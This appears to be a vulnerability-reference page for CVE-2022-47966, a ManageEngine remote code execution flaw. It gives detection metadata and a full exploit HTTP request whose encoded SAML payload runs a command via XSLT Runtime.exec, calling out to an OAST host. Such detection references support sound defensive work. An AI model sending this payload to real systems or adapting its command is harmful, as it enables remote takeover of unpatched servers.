🔙 목록으로 돌아가기

CVE-2022-47966: ManageEngine - Remote Command Execution

TitleManageEngine - Remote Command Execution
Authorrootxharsh,iamnoooob,DhiyaneshDK,pdresearch
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
RemediationApply the latest security patches or updates provided by the vendor to fix this vulnerability.
CVSS Score9.8
EPSS Score0.94385
CVE IDCVE-2022-47966
Shodan Querytitle:"ManageEngine"http.title:"manageengine"
Fofa Querytitle="manageengine"
Tags cve cve2022 packetstorm rce zoho manageengine oast kev zohocorp vkev vuln

🔍 Vulnerability Description

Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.

🌐 HTTP Request

POST /SamlResponseServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Content-Length: 2977
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4gPHNhbWxwOlJlc3BvbnNlIElEPSJfZWRkYzFlNWYtOGM4Ny00ZTU1LTgzMDktYzZkNjlkNmMyYWRmIiBJblJlc3BvbnNlVG89Il80YjA1ZTQxNGM0ZjM3ZTQxNzg5YjZlZjFiZGFhYTlmZiIgSXNzdWVJbnN0YW50PSIyMDIzLTAxLTE2VDEzOjU2OjQ2LjUxNFoiIFZlcnNpb249IjIuMCIgeG1sbnM6c2FtbHA9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpwcm90b2NvbCI%2BIDxzYW1scDpTdGF0dXM%2BIDxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz4gPC9zYW1scDpTdGF0dXM%2BIDxBc3NlcnRpb24gSUQ9Il9iNWEyZTlhYS04OTU1LTRhYzYtOTRmNS0zMzQwNDc4ODI2MDAiIElzc3VlSW5zdGFudD0iMjAyMy0wMS0xNlQxMzo1Njo0Ni40OThaIiBWZXJzaW9uPSIyLjAiIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj4gPElzc3Vlcj5hPC9Jc3N1ZXI%2BIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPiA8ZHM6U2lnbmVkSW5mbz4gPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz4gPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiLz4gPGRzOlJlZmVyZW5jZSBVUkk9IiNfYjVhMmU5YWEtODk1NS00YWM2LTk0ZjUtMzM0MDQ3ODgyNjAwIj4gPGRzOlRyYW5zZm9ybXM%2BIDxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz4gPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnL1RSLzE5OTkvUkVDLXhzbHQtMTk5OTExMTYiPiA8eHNsOnN0eWxlc2hlZXQgdmVyc2lvbj0iMS4wIiB4bWxuczpvYj0iaHR0cDovL3htbC5hcGFjaGUub3JnL3hhbGFuL2phdmEvamF2YS5sYW5nLk9iamVjdCIgeG1sbnM6cnQ9Imh0dHA6Ly94bWwuYXBhY2hlLm9yZy94YWxhbi9qYXZhL2phdmEubGFuZy5SdW50aW1lIiB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSI%2BIDx4c2w6dGVtcGxhdGUgbWF0Y2g9Ii8iPiA8eHNsOnZhcmlhYmxlIG5hbWU9InJ0b2JqZWN0IiBzZWxlY3Q9InJ0OmdldFJ1bnRpbWUoKSIvPiA8eHNsOnZhcmlhYmxlIG5hbWU9InByb2Nlc3MiIHNlbGVjdD0icnQ6ZXhlYygkcnRvYmplY3QsJnF1b3Q7bnNsb29rdXAgZDVqbjJlcGxlMG80bzY3OWszZzBzbzFrNWVwcjl5ZWZoLm9hc3Quc2l0ZSZxdW90OykiLz4gPHhzbDp2YXJpYWJsZSBuYW1lPSJwcm9jZXNzU3RyaW5nIiBzZWxlY3Q9Im9iOnRvU3RyaW5nKCRwcm9jZXNzKSIvPiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0iJHByb2Nlc3NTdHJpbmciLz4gPC94c2w6dGVtcGxhdGU%2BIDwveHNsOnN0eWxlc2hlZXQ%2BIDwvZHM6VHJhbnNmb3JtPiA8L2RzOlRyYW5zZm9ybXM%2BIDxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiLz4gPGRzOkRpZ2VzdFZhbHVlPkg3Z0t1TzZ0OU1iQ0padWpBOVM3V2xMRmdkcU11TmUwMTQ1S1J3S2wwMDA9PC9kczpEaWdlc3RWYWx1ZT4gPC9kczpSZWZlcmVuY2U%2BIDwvZHM6U2lnbmVkSW5mbz4gPGRzOlNpZ25hdHVyZVZhbHVlPlJiQldCNkFJUDhBTjF3VFpONllZQ0tkbkNsRm9oOEdxbVUyUlhveWpta3I2STBBUDM3MUlTN2p4U01TMnp4RkNkWjgwa0ludmdWdWFFdDN5UW1jcTMzL2Q2eUdlT3haVTdrRjFmMUQvZGErb0ttRW9qNHM2UFFjdmFSRk5wK1JmT3hNRUNCV1ZUQXh6UWlIL09VbW9MN2t5WlVoVXdQOUc4WWswdGtzb1Y5cFNFWFVvelNxK0k1S0VONGVoWFZqcW5JajA0bUY2Wng2Y2pQbTRoY2lOTXcxVUFmQU5oZnE3VkM1emo2VmFRZno3THJZNEdsSG9BTE1NcWViTllrRWtmMk4xa0RLaUFFS1ZlUFNvMXZITzBBRisrYWxRUkpPNDdjOGtnemxkMXh5NUVDdkRjN3VZd3VESm8zS1lrNWhROE5Td3ZhbmE3S2RsSmVENjJHelBsdz09PC9kczpTaWduYXR1cmVWYWx1ZT4gPGRzOktleUluZm8vPiA8L2RzOlNpZ25hdHVyZT4gPC9Bc3NlcnRpb24%2BIDwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47966.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-47966.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A